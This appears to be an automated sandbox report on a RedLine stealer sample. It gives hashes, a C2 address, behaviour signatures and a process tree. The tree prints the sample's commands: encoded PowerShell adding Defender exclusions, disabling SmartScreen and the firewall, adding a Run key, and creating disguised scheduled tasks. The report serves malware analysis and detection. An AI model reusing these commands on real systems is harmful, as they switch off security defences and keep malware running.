Analysis

  • max time kernel
    83s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    07-07-2022 14:33

General

  • Target

    47645.exe

  • Size

    1.8MB

  • MD5

    30b6d624d18490acfe42a1944c6d3172

  • SHA1

    35402770ba44139f50b5613c274a6b4607be3b16

  • SHA256

    d3d816173bc3f78e89278f938bef7408a249453c31e65018386aa241ee6cbf92

  • SHA512

    42f7b92a99a52c9a229cf09d945d5fcad38a4eecedfe609af6e77d9f5e966b37835a094c5b2121d20e6339fa450c0488af44046f5057e42021a61aae98cf6f4c

Malware Config

Extracted

Family

redline

Botnet

1327052997

C2

37.235.54.26:8362

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47645.exe
    "C:\Users\Admin\AppData\Local\Temp\47645.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4196
    • C:\Users\Admin\AppData\Local\Temp\doc.exe
      "C:\Users\Admin\AppData\Local\Temp\doc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:215452
        • C:\Users\Admin\AppData\Local\Temp\GameInject.exe
          "C:\Users\Admin\AppData\Local\Temp\GameInject.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:215712
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C powershell -EncodedCommand "PAAjAGYAaQB3AEcAOQBOADcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwA1ADIAQgBxAEIATwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAFUANgBxAG8AWQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwAzAEgAUgBLACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:215800
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -EncodedCommand "PAAjAGYAaQB3AEcAOQBOADcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwA1ADIAQgBxAEIATwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAFUANgBxAG8AWQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwAzAEgAUgBLACMAPgA="
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:215852
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
            5⤵
              PID:216008
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk8743" /TR "C:\ProgramData\Dllhost\dllhost.exe"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:216020
              • C:\Windows\SysWOW64\schtasks.exe
                SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk8743" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                • Creates scheduled task(s)
                PID:4600
      • C:\Users\Admin\AppData\Local\Temp\DllHost.exe
        "C:\Users\Admin\AppData\Local\Temp\DllHost.exe"
        2⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
          3⤵
          • Modifies security service
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:18436
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
            4⤵
            • Modifies Windows Firewall
            PID:27488
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3372 -s 2064
          3⤵
          • Program crash
          PID:20784
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 444 -p 3372 -ip 3372
      1⤵
        PID:20608

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\MicrosoftNetwork\System.exe
        Filesize

        440KB

        MD5

        6368031626da1f0d51bcac43104b123f

        SHA1

        5a340a1a3edc0bf03526e677a0415ffd156c139c

        SHA256

        11004aff3ee4083623a7e01cb06438e1b8879e2d00cf2350c26fb1003125577d

        SHA512

        442b04dc415858e61555b0f026c6ebb76fcad22f9317736766bb793dbcc22fc014ddb1973feaff05298905bf2e97036aa64ae96fa9cc9884d50015d17fbac465

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        ddab5e26e538fa9c9f65b6ba13523eb8

        SHA1

        003942014894706e2498020df601e97b2cd27a56

        SHA256

        29892a9f94bf3e6e8a675fbdb4faf6e31af24547820d031c23fe78adcf750a31

        SHA512

        f836fc230e0447b28319390eeaec09ed6e750178f9c0c9e9e43e50c6892c1b2c6138ab96c39c56c7bf9963e9cf06d8cb93801e99ad3465f5ff95d3ce2708b5ab

      • C:\Users\Admin\AppData\Local\Temp\DllHost.exe
        Filesize

        440KB

        MD5

        6368031626da1f0d51bcac43104b123f

        SHA1

        5a340a1a3edc0bf03526e677a0415ffd156c139c

        SHA256

        11004aff3ee4083623a7e01cb06438e1b8879e2d00cf2350c26fb1003125577d

        SHA512

        442b04dc415858e61555b0f026c6ebb76fcad22f9317736766bb793dbcc22fc014ddb1973feaff05298905bf2e97036aa64ae96fa9cc9884d50015d17fbac465

      • C:\Users\Admin\AppData\Local\Temp\DllHost.exe
        Filesize

        440KB

        MD5

        6368031626da1f0d51bcac43104b123f

        SHA1

        5a340a1a3edc0bf03526e677a0415ffd156c139c

        SHA256

        11004aff3ee4083623a7e01cb06438e1b8879e2d00cf2350c26fb1003125577d

        SHA512

        442b04dc415858e61555b0f026c6ebb76fcad22f9317736766bb793dbcc22fc014ddb1973feaff05298905bf2e97036aa64ae96fa9cc9884d50015d17fbac465

      • C:\Users\Admin\AppData\Local\Temp\GameInject.exe
        Filesize

        82KB

        MD5

        0720a011066bb50774deffd33c5903c8

        SHA1

        54c4393d7f15192717339ab39be1978127443c79

        SHA256

        0db9920b4a051c6ee31c6be0ae5d06ff493d85872fead3a906c56e8513fe7da6

        SHA512

        410e96a4a240245780b9e1939cef06c35ea2192761ca2cfba28add5d7707e9e9ff37d63364389dc729ce42656b60b64e659c460125eb6346d57a2fd1452aa248

      • C:\Users\Admin\AppData\Local\Temp\GameInject.exe
        Filesize

        82KB

        MD5

        0720a011066bb50774deffd33c5903c8

        SHA1

        54c4393d7f15192717339ab39be1978127443c79

        SHA256

        0db9920b4a051c6ee31c6be0ae5d06ff493d85872fead3a906c56e8513fe7da6

        SHA512

        410e96a4a240245780b9e1939cef06c35ea2192761ca2cfba28add5d7707e9e9ff37d63364389dc729ce42656b60b64e659c460125eb6346d57a2fd1452aa248

      • C:\Users\Admin\AppData\Local\Temp\doc.exe
        Filesize

        2.4MB

        MD5

        401cdd939e412e97c9eab5766be869d9

        SHA1

        e20e78080715f336dd0fc8bb7476d1a4fbc2f7b0

        SHA256

        7b7964fd2f700fa35f362c4c112d8583feb112310ed9a2ac1fc017efb67ee573

        SHA512

        266070eb135694cf6bfbfd30868c20381fb7fe16a8c53f41c05a88e8b68baa6fc83823f6806fbd30d56cbf46a7fcada5da0364aebf3a8bbb32fed6abc697167b

      • C:\Users\Admin\AppData\Local\Temp\doc.exe
        Filesize

        2.4MB

        MD5

        401cdd939e412e97c9eab5766be869d9

        SHA1

        e20e78080715f336dd0fc8bb7476d1a4fbc2f7b0

        SHA256

        7b7964fd2f700fa35f362c4c112d8583feb112310ed9a2ac1fc017efb67ee573

        SHA512

        266070eb135694cf6bfbfd30868c20381fb7fe16a8c53f41c05a88e8b68baa6fc83823f6806fbd30d56cbf46a7fcada5da0364aebf3a8bbb32fed6abc697167b

      • memory/1084-130-0x0000000000000000-mapping.dmp
      • memory/3372-133-0x0000000000000000-mapping.dmp
      • memory/4600-174-0x0000000000000000-mapping.dmp
      • memory/18436-141-0x00007FF9F9870000-0x00007FF9FA331000-memory.dmp
        Filesize

        10.8MB

      • memory/18436-138-0x00007FF9F9870000-0x00007FF9FA331000-memory.dmp
        Filesize

        10.8MB

      • memory/18436-137-0x000001C962C00000-0x000001C962C22000-memory.dmp
        Filesize

        136KB

      • memory/18436-136-0x0000000000000000-mapping.dmp
      • memory/27488-139-0x0000000000000000-mapping.dmp
      • memory/215452-158-0x0000000007B10000-0x0000000007B76000-memory.dmp
        Filesize

        408KB

      • memory/215452-142-0x0000000000000000-mapping.dmp
      • memory/215452-152-0x0000000006A50000-0x0000000006C12000-memory.dmp
        Filesize

        1.8MB

      • memory/215452-153-0x0000000007150000-0x000000000767C000-memory.dmp
        Filesize

        5.2MB

      • memory/215452-154-0x0000000006C20000-0x0000000006CB2000-memory.dmp
        Filesize

        584KB

      • memory/215452-155-0x0000000006CC0000-0x0000000006D36000-memory.dmp
        Filesize

        472KB

      • memory/215452-156-0x0000000007C30000-0x00000000081D4000-memory.dmp
        Filesize

        5.6MB

      • memory/215452-157-0x0000000006DE0000-0x0000000006DFE000-memory.dmp
        Filesize

        120KB

      • memory/215452-150-0x0000000005710000-0x000000000574C000-memory.dmp
        Filesize

        240KB

      • memory/215452-151-0x00000000059C0000-0x0000000005ACA000-memory.dmp
        Filesize

        1.0MB

      • memory/215452-149-0x00000000056B0000-0x00000000056C2000-memory.dmp
        Filesize

        72KB

      • memory/215452-148-0x0000000005E60000-0x0000000006478000-memory.dmp
        Filesize

        6.1MB

      • memory/215452-143-0x0000000000400000-0x000000000041E000-memory.dmp
        Filesize

        120KB

      • memory/215712-159-0x0000000000000000-mapping.dmp
      • memory/215712-163-0x00000000058C0000-0x00000000058CA000-memory.dmp
        Filesize

        40KB

      • memory/215712-162-0x0000000000EF0000-0x0000000000F0E000-memory.dmp
        Filesize

        120KB

      • memory/215800-164-0x0000000000000000-mapping.dmp
      • memory/215852-167-0x00000000051E0000-0x0000000005808000-memory.dmp
        Filesize

        6.2MB

      • memory/215852-180-0x0000000007330000-0x000000000733A000-memory.dmp
        Filesize

        40KB

      • memory/215852-169-0x00000000058B0000-0x0000000005916000-memory.dmp
        Filesize

        408KB

      • memory/215852-166-0x0000000004A20000-0x0000000004A56000-memory.dmp
        Filesize

        216KB

      • memory/215852-171-0x0000000005FA0000-0x0000000005FBE000-memory.dmp
        Filesize

        120KB

      • memory/215852-184-0x0000000007530000-0x0000000007538000-memory.dmp
        Filesize

        32KB

      • memory/215852-183-0x00000000075F0000-0x000000000760A000-memory.dmp
        Filesize

        104KB

      • memory/215852-165-0x0000000000000000-mapping.dmp
      • memory/215852-175-0x0000000006560000-0x0000000006592000-memory.dmp
        Filesize

        200KB

      • memory/215852-176-0x0000000070890000-0x00000000708DC000-memory.dmp
        Filesize

        304KB

      • memory/215852-177-0x0000000006540000-0x000000000655E000-memory.dmp
        Filesize

        120KB

      • memory/215852-178-0x00000000078F0000-0x0000000007F6A000-memory.dmp
        Filesize

        6.5MB

      • memory/215852-179-0x00000000072A0000-0x00000000072BA000-memory.dmp
        Filesize

        104KB

      • memory/215852-168-0x0000000005810000-0x0000000005832000-memory.dmp
        Filesize

        136KB

      • memory/215852-181-0x0000000007550000-0x00000000075E6000-memory.dmp
        Filesize

        600KB

      • memory/215852-182-0x00000000074E0000-0x00000000074EE000-memory.dmp
        Filesize

        56KB

      • memory/216008-172-0x0000000000000000-mapping.dmp
      • memory/216020-173-0x0000000000000000-mapping.dmp